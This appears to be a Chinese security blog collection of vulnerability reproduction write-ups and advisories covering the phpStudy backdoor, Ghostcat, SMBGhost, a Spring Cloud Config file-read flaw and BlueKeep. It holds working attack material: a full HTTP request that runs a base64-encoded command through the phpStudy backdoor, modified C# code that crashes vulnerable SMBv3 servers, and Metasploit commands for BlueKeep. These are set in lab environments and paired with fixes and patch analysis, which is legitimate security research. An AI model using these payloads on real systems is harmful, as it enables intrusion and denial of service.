phpStudy远程RCE漏洞复现 介绍phpStudy是国内一款免费的PHP环境集成包，集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer等多款软件，无需配置即可直接安装使用，有着近百万PHP用户。近日被爆出phpStudy存在RCE后门，并通过验证复现。软件作者声明：phpstudy 2016版PHP5.4存在后门。实际测试官网下载phpstudy2018版php-5.2.17和php-5.4.45也同样存在后门据传漏洞形成原因是官网被入侵后植入后门，嫌疑人已被抓。咱也不敢说咱也不敢问是个古老的问题了，我也不知道为什么今天出来水了一篇。。。手动检查后门代码存在于\ext\php_xmlrpc.dll模块中，phpStudy2016和phpStudy2018自带的php-5.2.17、php-5.4.45phpStudy2016路径php\php-5.2.17\ext\php_xmlrpc.dllphp\php-5.4.45\ext\php_xmlrpc.dllphpStudy2018路径PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dllPHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dl用记事本打开此文件查找@eval，文件存在@eval(%s(‘%s’))证明漏洞存在工具检查并修复官方发布了：phpstudy 安全自检修复程序，可用于2016 2018版本的安全检测与修复，下载该文件一键检查与修复。浏览器访问靶机地址：http://192.168.1.91/浏览器设置本地代理并且打开BurpSuiteFree抓包POC：GET / HTTP/1.1Host: 192.168.43.99User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;x64; rv:69.0) Gecko/20100101 Firefox/69.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateAccept-Charset:”commandbase64 string”Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0CTRL + R把请求包转发到中继器模块Accept-Charset:”command base64 string”中执行命令经过了的的Base64编码加密：执行语句指令：system(‘whoami’);BASE64 编码后：c3lzdGVtKCd3aG9hbWknKTs =替换进去Accept-Charset: c3lzdGVtKCd3aG9hbWknKTs=还要把“ ”中的前面的空格删除。Accept-Encoding: gzip, deflatedeflate(6)构造好执行语句为WHOAMI的POC如下：GET / HTTP/1.1Host: 192.168.1.91User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;rv:69.0) Gecko/20100101 Firefox/69.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip,deflateAccept-Charset: c3lzdGVtKCd3aG9hbWknKTs=Connection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0聪明的你应该知道要干嘛了。咳咳咳，不过还是别干坏事，自己玩玩就好了。这篇古老的复现就到这里了。。。

CVE-2020-1938复现 在开头，我们先了解一下 Tomcat AJP Connector 是什么 Tomcat Connector 是 Tomcat 与外部连接的通道，它使得 Catalina 能够接收来自外部的请求，传递给对应的 Web 应用程序处理，并返回请求的响应结果    默认情况下，Tomcat 配置了两个 Connector，它们分别是 HTTP Connector 和 AJP Connector：    HTTP Connector：用于处理 HTTP 协议的请求（HTTP/1.1），默认监听地址为 0.0.0.0:8080    AJP Connector：用于处理 AJP 协议的请求（AJP/1.3），默认监听地址为 0.0.0.0:8009    HTTP Connector 就是用来提供我们经常用到的 HTTP Web 服务。而 AJP Connector，它使用的是 AJP 协议（Apache Jserv Protocol），AJP 协议可以理解为 HTTP 协议的二进制性能优化版本，它能降低 HTTP 请求的处理成本，因此主要在需要集群、反向代理的场景被使用。那么Ghostcat 漏洞有哪些危害通过 Ghostcat 漏洞，攻击者可以读取 Tomcat所有 webapp目录下的任意文件。    此外如果网站应用提供文件上传的功能，攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件（上传的文件本身可以是任意类型的文件，比如图片、纯文本文件等），然后利用 Ghostcat 漏洞进行文件包含，从而达到代码执行的危害受影响版本Apache Tomcat 9.x < 9.0.31Apache Tomcat 8.x < 8.5.51Apache Tomcat 7.x < 7.0.100Apache Tomcat 6.x要想利用，总要有个环境吧，那么那些环境呢？对于处在漏洞影响版本范围内的 Tomcat 而言，若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下，即存在被 Ghostcat 漏洞利用的风险    注意 Tomcat AJP Connector 默认配置下即为开启状态，且监听在 0.0.0.0:8009 说那么多。。。。先复现吧。。。。安装docker搭建复现环境 docker run -d -p 8080:8080 -p 8090:8090 duonghuuphuc/tomcat-8.5.32 问题来了Ghostcat 漏洞该如何修复或缓解Tomcat 官方已发布 9.0.31、8.5.51 及 7.0.100 版本针对此漏洞进行修复。要正确修复此漏洞，首先需要确定您的服务器环境中是否有用到 Tomcat AJP 协议：· 如果未使用集群或反向代理，则基本上可以确定没有用到 AJP；· 如果使用了集群或反向代理，则需要看集群或反代服务器是否与 Tomcat 服务器 AJP 进行通信在线检测地址https://www.chaitin.cn/zh/ghostcat#online_test

CVE-2020-0796验证与修复分析 1、验证下载CVE-2020-0796扫描器，对Windows 10系统进行扫描python3 cve-2020-0796-scanner.py -t 192.168.169.107 默认状态下，检测结果 2、修复打开powershell，设置注册表信息 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force3、复测再次扫描，发现漏洞已经无法检测出来 当将DisableCompression值设置为0，再次检测，仍可检测出漏洞。4、分析根据ADV-200005 安全通告，我们可以得到如下信息，例如影响版本等Description ================ Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client. Security Updates ================ Windows 10 Version 1903 for 32-bit Systems Remote Code Execution Critical Windows 10 Version 1903 for ARM64-based Systems Remote Code Execution Critical Windows 10 Version 1903 for x64-based Systems Remote Code Execution Critical Windows 10 Version 1909 for 32-bit Systems Remote Code Execution Critical Windows 10 Version 1909 for ARM64-based Systems Remote Code Execution Critical Windows 10 Version 1909 for x64-based Systems Remote Code Execution Critical Windows Server, version 1903 (Server Core installation) Remote Code Execution Critical Windows Server, version 1909 (Server Core installation) Remote Code Execution Critical Workarounds ================ Disable SMBv3 compression ************************* You can disable compression to block unauthenticated attackers from exploiting the vulnerability against an SMBv3 Server with the PowerShell command below. Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force根据该文章，可以得到3个信息。该漏洞只影响 SMB v3.1.1，是SMB最新的协议，可能存在某些功能没有经过测试只影响 1903和1909，这意味着 windows server 2019（177630) LTSC 版本不受影响建议关闭smb 压缩功能首先我们要知道smb服务的二进制文件在哪个位置。一般在C:\Windows\System32\drivers\srv2.sys，这是从学习分析wanncry学到的经验。其次，我们要从特定版本的windows上获取srv2.sys。搭建虚拟机复制拷贝即可srv2.sys 静态分析将 srv2.sys加载到ida中，根据安全通告，与compress有关，所以我们主要查找与compression有关的函数名称。Srv2DecompressMessageAsyncSrv2DecompressDataSmb2GetHonorCompressionAlgOrderSmb2SelectCompressionAlgorithmSmb2ValidateCompressionCapabilitiesSrv2DecompressMessageAsync和Srv2DecompressData这两个函数可能存在问题，该函数的同步版本函数比异步版本函数更易分析，我们来主要分析一下srv2!Srv2DecompressData函数__int64 __fastcall Srv2DecompressData(__int64 a1) { __int64 v1; // rdi __int64 v2; // rax __m128i v3; // xmm0 __m128i v4; // xmm0 unsigned int v5; // ebp __int64 v7; // rax __int64 v8; // rbx int v9; // eax __m128i MaxCount; // [rsp+30h] [rbp-28h] int v11; // [rsp+60h] [rbp+8h] v11 = 0; v1 = a1; v2 = *(_QWORD *)(a1 + 240); if ( *(_DWORD *)(v2 + 36) < 0x10u ) return 0xC000009B; v3 = *(__m128i *)*(_QWORD *)(v2 + 24); MaxCount = v3; v4 = _mm_srli_si128(v3, 8); v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64); if ( v5 != v4.m128i_u16[0] ) return 0xC00000BB; v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64); v8 = v7; if ( !v7 ) return 0xC000009A; if ( (int)SmbCompressionDecompress( v5, *(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64, (unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16), MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24), MaxCount.m128i_i32[1], &v11) < 0 || (v9 = v11, v11 != MaxCount.m128i_i32[1]) ) { SrvNetFreeBuffer(v8); return 0xC000090B; } if ( MaxCount.m128i_i32[3] ) { memmove( *(void **)(v8 + 24), (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64), MaxCount.m128i_u32[3]); v9 = v11; } *(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9; Srv2ReplaceReceiveBuffer(v1, v8); return 0i64; }这是用IDA反编译到C的结果。很难分析，但是可以注意到两个点子函数体非常小，与“bug”描述相一致函数只做三件简单的事，申请buffer，解压属于并拷贝到buffer如果我们想确定该函数是不是存在漏洞的函数，我们需要更多信息，al 寄存器代表什么，攻击者还可以控制哪些字段？？？以下是三份关于smb协议的参考资料DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf[MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/根据公开材料，可以了解更多关于smb的包结构。根据这些信息，重新命名一下函数中的相关变量__int64 __fastcall Srv2DecompressData(__int64 _smb_packet) { __int64 smb_packet; // rdi __int64 _header; // rax SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0 AAA smb_header_compress; // xmm0_8 unsigned int CompressionAlgorithm; // ebp __int64 __alloc_buffer; // rax __int64 __allocated_buffer; // rbx int PayloadSize; // eax SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h] int UncompressedSize; // [rsp+60h] [rbp+8h] UncompressedSize = 0; smb_packet = _smb_packet; _header = *(_QWORD *)(_smb_packet + 0xF0); // Basic size checks if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) ) return 0xC000090Bi64; v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18); Header = v3; // Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128( (__m128i)v3, offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm)); CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64); if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo ) return 0xC00000BBi64; // Nani ?? oO __alloc_buffer = SrvNetAllocateBuffer( (unsigned int)( Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength), 0i64 ); __allocated_buffer = __alloc_buffer; if ( !__alloc_buffer ) return 0xC000009Ai64; // Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize if ( (int)SmbCompressionDecompress( CompressionAlgorithm, (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength + 0x10i64), *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10, (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)), Header.OriginalCompressedSegmentSize, &UncompressedSize) < 0 || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) ) { SrvNetFreeBuffer(__allocated_buffer); return 0xC000090Bi64; } // Copy optional payload if ( Header.OffsetOrLength ) { memmove( *(void **)(__allocated_buffer + 0x18), (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64), (unsigned int)Header.OffsetOrLength); PayloadSize = UncompressedSize; } *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize; Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer); return 0i64; }现在我们很容易就能看到存在漏洞的地方。__alloc_buffer = SrvNetAllocateBuffer( (unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength), 0i64 );攻击者可以控制OriginalCompressedSegmentSize 和OffsetOrLength这两个参数。OriginalCompressedSegmentSize 用来描述压缩前的数据大小，OffsetOrLength用来描述压缩数据的长度或者片偏移，主要取决于是否设置flags变量，详情见图OriginalCompressedSegmentSize 和OffsetOrLength都为32位int类型数字，并且srv2!Srv2DecompressData用上述两个字段来控制分配内存空间。下面是反汇编00000001C0017EB2 movq rcx, xmm0 ... 00000001C0017EC8 mov rax, qword ptr [rsp+58h+Header.ProtocolId] 00000001C0017ECD xor edx, edx 00000001C0017ECF shr rax, 20h ; OriginalCompressedSegmentSize 00000001C0017ED3 shr rcx, 20h ; OffsetOrLength 00000001C0017ED7 add ecx, eax 00000001C0017ED9 call cs:__imp_SrvNetAllocateBuffer我们很容易可以发现，其中存在integer整数溢出。下面动态分析来触发漏洞动态分析为了检验我们的假设是否正确，我们需要两件事：存在漏洞的服务器，这很容易设置，只需在系统上安装Windows 10 1903 或者 1909 Windows即可！实现SMB v3.1.1压缩功能的SMB客户端，这实际上实现起来困难得多。Samba/CIFS 官方声明说，由于它们未实现压缩功能，因此它们不受此漏洞的影响，并且通常第三方smb客户端例如，pysmbclient和impacket's smbclient均不支持压缩功能。我设法找到了功能完整的SMB客户端实现：https : //github.com/microsoft/WindowsProtocolTestSuites/该代码库完全使用C# 编写，并由Microsoft用于测试协议一致性（因此，其功能涵盖面非常完整）,是一个很合适我们测试POC的环境。老实说，该项目是Windows安全研究人员的宝库，项目中包括 SMB server/client, RDP server/client, Kerberos server, SMBD server等的完整实现。尽管代码编写的很好，但是创建的包并不能触发漏洞，所以我们要修改一下代码来触发我们的漏洞// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common { /// <summary> /// SMB2 Compression Utility. /// </summary> public static class Smb2Compression { private static uint i = 0; /// <summary> /// Compress SMB2 packet. /// </summary> /// <param name="packet">The SMB2 packet.</param> /// <param name="compressionInfo">Compression info.</param> /// <param name="role">SMB2 role.</param> /// <param name="offset">The offset where compression start, default zero.</param> /// <returns></returns> public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0) { var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role); /*if (compressionAlgorithm == CompressionAlgorithm.NONE) { return packet; }*/ // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login) if (i < 3) { i++; return packet; } var packetBytes = packet.ToBytes(); var compressor = GetCompressor(compressionAlgorithm); // HACK: Insane length to trigger the integrer overflow offset = 0xffffffff; var compressedPacket = new Smb2CompressedPacket(); compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader; compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length; compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm; compressedPacket.Header.Reserved = 0; compressedPacket.Header.Offset = offset; compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray(); compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray()); var compressedPackectBytes = compressedPacket.ToBytes(); // HACK: force compressed packet to be sent return compressedPacket; // Check whether compression shrinks the on-wire packet size // if (compressedPackectBytes.Length < packetBytes.Length) // { // compressedPacket.OriginalPacket = packet; // return compressedPacket; // } // else // { // return packet; // } } } } namespace Microsoft.Protocols.TestManager.BranchCachePlugin { class Program { static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info) { Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds)); client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }; // NEGOTIATION is done in "plaintext", this is the call within UserLogon: // client.Negotiate( // 0, // 1, // Packet_Header_Flags_Values.NONE, // messageId++, // new DialectRevision[] { DialectRevision.Smb311 }, // SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED, // Capabilities_Values.NONE, // clientGuid, // out selectedDialect, // out gssToken, // out header, // out negotiateResp, // preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression // compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 } // ); if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp)) return; // From now on, we compress every new packet client.CompressionInfo.CompressAllPackets = true; // Get tree information about a remote share (which does not exists) TREE_CONNECT_Response treeConnectResp; string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare); // trigger crash here client.TreeConnect( 1, 1, Packet_Header_Flags_Values.FLAGS_SIGNED, messageId++, sessionId, uncSharePath, out treeId, out header, out treeConnectResp ); } static void Main(string[] args) { Console.WriteLine("Hello World!"); Logger logger = new Logger(); AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost"); BranchCacheDetector bcd = new BranchCacheDetector( logger, "DESKTOP-SMBVULN", "DESKTOP-SMBVULN", accountCredential ); DetectionInfo info = new DetectionInfo(); info.SelectedTransport = "SMB2"; info.ContentServerName = "DESKTOP-SMBVULN"; info.UserName = "Ghost"; info.Password = "Ghost"; TriggerCrash(bcd,info); Console.WriteLine("Goodbye World!"); } } }我们通过Smb2Compression.cs去向smb服务器发送看起来畸形数据包，看来我们触发了漏洞以下为windbg结果Breakpoint 3 hit srv2!Srv2DecompressData+0x6f: fffff800`50ad7ecf 48c1e820 shr rax,20h kd> p srv2!Srv2DecompressData+0x73: fffff800`50ad7ed3 48c1e920 shr rcx,20h kd> srv2!Srv2DecompressData+0x77: fffff800`50ad7ed7 03c8 add ecx,eax kd> r eax eax=7e kd> r ecx ecx=ffffffff kd> p srv2!Srv2DecompressData+0x79: fffff800`50ad7ed9 4c8b15489a0200 mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)] kd> r ecx ecx=7d kd> p srv2!Srv2DecompressData+0x80: fffff800`50ad7ee0 e8fbe29704 call srvnet!SrvNetAllocateBuffer (fffff800`554561e0) kd> p srv2!Srv2DecompressData+0x85: fffff800`50ad7ee5 488bd8 mov rbx,rax kd> g KDTARGET: Refreshing KD connection *** Fatal System Error: 0x00000050 (0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. For analysis of this file, run !analyze -v nt!DbgBreakPointWithStatus: fffff800`51a79580 cc int 3 kd> !analyze -v Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff8483c09e7e2f, memory referenced. Arg2: 0000000000000000, value 0 = read operation, 1 = write operation. Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000002, (reserved) Debugging Details: ------------------ READ_ADDRESS: ffff8483c09e7e2f Nonpaged pool TRAP_FRAME: fffff105d6992c00 -- (.trap 0xfffff105d6992c00) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000 rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f r8=ffff8483c09e7e2f r9=0000000000000078 r10=ffff8483bccd1f6d r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc nt!RtlDecompressBufferXpressLz+0x50: fffff800`51a0e750 418b08 mov ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=???????? Resetting default scope STACK_TEXT: fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12 fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952 fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107 fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50 fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66 fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1 fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33 fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117 fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37 fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55 fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a 补丁微软的补丁就是在Srv2DecompressData里面对上述两个Length做了检查.__int64 __fastcall Srv2DecompressData(__int64 a1) { // //添加了对Header中Length的检查 // if ( RtlULongAdd(Header.OriginalCompressedSegmentSize, Header2.Length, &pulResult) < 0 ) { ... } if ( pulResult > (unsigned __int64)(unsigned int)(*(_DWORD *)(v9 + 0x24) + 0x100) + 0x34 ) { ... } if ( RtlULongSub(pulResult, Header.Length, &pulResult) < 0 ) { ... } }结论总体来看，CVE-2020-0796是一个很容易发现的漏洞。但是完美利用利用它确实另外一回事：这是一个在windows 10 KASLR 保护机制下需要远程攻击的kernel exploit。最好的办法就是完全禁用这个功能。

【漏洞预警】Spring Cloud Config 服务远程任意文件读取漏洞（CVE-2020-5405） 漏洞描述Spring Cloud Config一套开源分布式系统配置服务，为分布式环境提供外部配置服务支持。目前漏洞可利用PoC已在互联网上披露，历史上Spring Cloud Config服务器于2019年4月17日曾爆发过任意文件读取漏洞(CVE-2019-3799)，详情：http://help.aliyun.com/noticelist/articleid/1000130771.html漏洞评级CVE-2020-5405 高危影响版本2.2.x系列：< 2.2.22.1.x系列：< 2.1.7其他较早版本安全版本2.2.x系列：2.2.2 及以上2.1.x系列：2.1.7 及以上安全建议升级Spring Cloud Config至安全版本，并依据Spring官方文档对应用加固：https://cloud.spring.io/spring-cloud-config/multi/multi__spring_cloud_config_server.html#_security相关链接https://pivotal.io/security/cve-2020-5405

【漏洞预警】Windows SMBv3 蠕虫级远程代码执行漏洞（CVE-2020-0796） 漏洞描述针对SMBv3服务器，攻击者可以将特制的数据包发送到SMB服务器来触发漏洞。若要针对SMBv3客户端，攻击者需要配置好一个恶意的SMB服务器，并诱使用户连接该服务器。另据国外安全媒体报道，该漏洞（CVE-2020-0796）具有蠕虫特性。漏洞只影响Windows 10系统和Server 1903、1909系统版本，不影响主流的Windows Server 2008/2012/2016/2019系统，整体风险较低。漏洞评级CVE-2020-0796 高危影响版本Windows Server, version 1909 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for x64-based SystemsWindows 10 Version 1909 for ARM64-based Systems缓解措施针对使用受漏洞影响的Windows系统版本的用户，可使用注册表禁用SMBv3 的compression功能来达到漏洞缓解，命令如下：Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force相关链接https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/adv200005https://www.zdnet.com/article/details-about-new-smb-wormable-bug-leak-in-microsoft-patch-tuesday-snafu/https://blog.talosintelligence.com/2020/03/microsoft-patch-tuesday-march-2020.html

CVE2019-0708 BlueKeep 漏洞复现 前言：2019年5月14日微软官方发布安全补丁，修复了Windows远程桌面服务的远程代码执行漏洞，该漏洞影响了某些旧版本的Windows系统。此漏洞是预身份验证且无需用户交互，这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机，其方式与2017年WannaCry恶意软件的传播方式类似。准备工具：metasploit-framework环境准备： Kali 192.168.75.129 （攻击） Win7 sp1/x64 192.168.75.131 （被攻击）开始复现 ：1、为了顺利复现成功，需要将被攻击机的远程桌面设为允许，防火墙也需要关掉。需要注意的一点是，我们的靶机需要开启允许任意版本连接2、启动MSFmsfconsole reload_all use exploit/windows/rdp/cve_2019_0708_bluekeep_rce ##启动0708exp脚本 出现则证明成功导入rb文件3、攻击利用 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce ##进入模块 show options ##查询可选项 set rhost 192.168.75.131 ##设置目标 set target 2 ##设置级别 ps一开始设置target 3 vm那个，蓝屏了、设置2就没有问题了 exploit ##启动攻击目标主机出现蓝屏奇怪的是，不管是Windows7 还是Windows Server 2008 Windows Server 2003 蓝屏次数比获取到shell的次数多了不止几倍。修复方案：1. 目前软件厂商微软已经发布了漏洞相应的补丁：https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019- 0708#ID0EWIAC Windows XP 及Windows 2003可以在以下链接下载补丁：https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708 2. 临时解决方案 如暂时无法更新补丁，可以通过在系统上启用网络及身份认证（NLA）以暂时规避该漏洞影响。 在企业外围防火墙阻断TCP端口3389的连接，或对相关服务器做访问来源过滤，只允许可信IP连接。 如无明确的需求，可禁用远程桌面服务。